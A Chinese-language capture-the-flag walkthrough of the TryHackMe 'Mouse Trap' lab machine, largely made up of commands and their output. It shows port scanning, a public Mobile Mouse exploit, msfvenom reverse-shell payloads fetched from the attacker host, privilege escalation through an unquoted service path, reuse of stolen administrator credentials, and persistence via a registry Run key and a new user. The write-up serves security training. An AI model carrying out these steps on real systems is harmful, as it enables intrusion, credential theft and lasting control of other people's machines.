THM:Mouse Trap[WriteUP]
目录
连接至THM服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
提取扫描结果中的端口号
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机UDP常用端口进行开放扫描
使用smbmap尝试枚举靶机SMB共享
使用smbclient尝试列出靶机SMB共享
使用curl访问靶机9099端口
边界突破
通过Google对9099端口服务以及漏洞进行搜索
通过Github对该应用进行PoC、EXP搜索
特权提升
查看该用户可用特权
查看该系统中存在的用户
查看该服务根目录ACL
查看靶机中所有已安装的服务
查看靶机系统信息
查看靶机Mobile Mouse服务目录构成
通过查询Windows中的进程管理器Process函数语法可得
根据上述规则攻击机本地侧再次生成一个Payload
操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下
本地侧新开nc开始监听
手动启动靶机中的Mobile Mouse Service服务
使用evil-winrm可以直接通过该凭证进行登录
重新生成Payload用于后渗透持久化
靶机将Payload下载到C:\Windows\Temp目录下
连接至THM服务器并启动靶机
靶机IP:10.10.206.239
分配IP:10.11.120.102
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.206.239 -r 1-65535 --ulimit 5000 > res
提取扫描结果中的端口号
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -p$ports -sCV 10.10.206.239
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p$ports --script=vuln -O 10.10.206.239
使用nmap对靶机UDP常用端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.206.239
使用smbmap尝试枚举靶机SMB共享
smbmap -H 10.10.206.239
使用smbclient尝试列出靶机SMB共享
smbclient -L \\10.10.206.239
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.206.239
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED
使用curl访问靶机9099端口
curl -v http://10.10.206.239:9099
- 由输出可知,该端口托管应用或服务:MOUSETRAP
边界突破
通过Google对9099端口服务以及漏洞进行搜索
- 经过一段时间搜索可知,该端口默认托管服务为:Mobile Mouse
通过Github对该应用进行PoC、EXP搜索
- 通过命令直接克隆Github上的EXP
git clone https://github.com/blue0x1/mobilemouse-exploit.git
- 通过msfvenom生成反弹Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=4444 -f exe > shell.exe
- 本地侧nc开始监听
rlwrap -cAr nc -lvnp 4444
- 执行EXP脚本,本地侧nc收到回显
python CVE-2023-31902-v2.py --target 10.10.51.172 --lhost 10.11.120.102 --file shell.exe
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.51.172] 49803
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
mousetrap\purpletom
- 查找user.txt位置并查看其内容
C:\Windows\system32>cd c:\
cd c:\c:\>dir /s user.txt
dir /s user.txt
Volume in drive C has no label.
Volume Serial Number is A8A4-C362Directory of c:\Users\purpletom
07/04/2024 01:58 PM 22 user.txt
1 File(s) 22 byteC:\>type c:\Users\purpletom\user.txt
type c:\Users\purpletom\user.txt
THM{XXXXX_XXXXX_X_XXX}
特权提升
查看该用户可用特权
whoami /priv
查看该系统中存在的用户
net user
- 切换到Powershell
powershell
C:\Users\purpletom\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
- 从攻击机中将SharpUp进行下载
iwr http://10.11.120.102:8080/SharpUp.exe -O SharpUp.exe
- 运行SharpUp对当前用户进行特权审计
- 由SharpUp审计结果可见`Mobile Mouse Service`服务绝对路径存在空格而且未使用双引号
查看该服务根目录ACL
icacls "C:\Program Files (x86)\Mobile Mouse"
- 由输出可见,作为用户对`Mobile Mouse`具有读、写、执行权限
查看靶机中所有已安装的服务
wmic service list brief
- 可以找到`Mobile Mouse Service`服务全名,并且当前状态是Stopped
查看靶机系统信息
systeminfo
查看靶机Mobile Mouse服务目录构成
- 由dir命令输出结果可见,在该服务目录下存在两个包含空格的文件或目录
通过查询Windows中的进程管理器Process函数语法可得
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
- 语法中lpApplicationName是服务启动时会被执行的模块
- 该参数的文件名称查询规则即当遇到包含空格的文件如:`Test ABC.exe`时
- 会先尝试解释`Test.exe`,如果未找到`Test.exe`则才会继续查找`Test ABC.exe`
根据上述规则攻击机本地侧再次生成一个Payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下
curl -O http://10.11.120.102:8080/Mouse.exe
本地侧新开nc开始监听
rlwrap -cAr nc -lvnp 1426
手动启动靶机中的Mobile Mouse Service服务
net start "Mobile Mouse Service"
- 本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.100.171] 49958
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
nt authority\system
- 在C:\Users\Administrator\Desktop目录下找到root.txt
- 查看rdp_credentials.txt内容可获得Administrator用户凭证
gc rdp_credentials.txt
PS C:\Users\Administrator\Desktop> gc rdp_credentials.txt
gc rdp_credentials.txt
Username: administrator
Password: d0ntTRY2m3ssw1thj3rry!!!
使用evil-winrm可以直接通过该凭证进行登录
evil-winrm -i 10.10.100.171 -u 'Administrator' -p 'd0ntTRY2m3ssw1thj3rry!!!'
重新生成Payload用于后渗透持久化
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
靶机将Payload下载到C:\Windows\Temp目录下
wget http://10.11.120.102:8080/shell.exe -o shell.exe
- 通过system权限执行以下命令,当用户登陆系统时自动执行C:\Windows\Temp\shell.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
- 为满足题目需要,这里新建一个terry用户
net user terry ABC123abc /add
- 运行C:\Users\Administrator\Desktop目录下的checker.exe获取flag
PS C:\Users\Administrator\Desktop> .\checker.exe
.\checker.exe
Flag: THM{XXXXX_XXXXXXX_#XXXX#}